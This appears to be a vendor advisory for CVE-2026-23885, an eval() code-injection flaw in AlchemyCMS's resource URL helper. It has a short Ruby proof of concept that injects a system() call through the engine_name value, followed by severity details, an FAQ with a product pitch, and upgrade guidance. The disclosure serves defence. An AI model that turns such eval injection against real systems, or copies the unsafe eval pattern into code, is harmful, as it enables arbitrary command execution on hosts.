CVE-2026-23885

A vulnerability was discovered during a manual security audit of the AlchemyCMS source code. The application uses the Ruby eval() function to dynamically execute a string provided by the resource_handler.engine_name attribute in Alchemy::ResourcesHelper#resource_url_proxy.

Details

The vulnerability exists in app/helpers/alchemy/resources_helper.rb at line 28. The code explicitly bypasses security linting with # rubocop:disable Security/Eval, indicating that the use of a dangerous function was known but not properly mitigated.

Since engine_name is sourced from module definitions that can be influenced by administrative configurations, it allows an authenticated attacker to escape the Ruby sandbox and execute arbitrary system commands on the host OS.

But, for this attack to be possible local file access to the alchemy project or the source on a remote server is necessary in order to manipulate the module config file, though.

PoC (Proof of Concept)

The following standalone Ruby script demonstrates that the eval sink is directly exploitable:

require 'ostruct'

def resource_url_proxy(resource_handler)
  if resource_handler.engine_name && !resource_handler.engine_name.empty?
    eval(resource_handler.engine_name)
  end
end

# Payload to create a file in /tmp directory
payload = "system('touch /tmp/alchemy_rce_verified'); 'main_app'"
handler = OpenStruct.new(engine_name: payload)

resource_url_proxy(handler)

if File.exist?('/tmp/alchemy_rce_verified')
  puts "RCE Verified: Command executed successfully."
end

CVE-2026-23885 has a CVSS score of 6.4 (Medium). The vector is requires local access, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (7.4.12, 8.0.3); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-23885? CVE-2026-23885 is a medium-severity security vulnerability in alchemy_cms (rubygems), affecting versions < 7.4.12. It is fixed in 7.4.12, 8.0.3.
2. How severe is CVE-2026-23885? CVE-2026-23885 has a CVSS score of 6.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of alchemy_cms are affected by CVE-2026-23885? alchemy_cms (rubygems) versions < 7.4.12 is affected.
4. Is there a fix for CVE-2026-23885? Yes. CVE-2026-23885 is fixed in 7.4.12, 8.0.3. Upgrade to this version or later.
5. Is CVE-2026-23885 exploitable, and should I be worried? Whether CVE-2026-23885 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-23885 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-23885?
   • Upgrade alchemy_cms to 7.4.12 or later
   • Upgrade alchemy_cms to 8.0.3 or later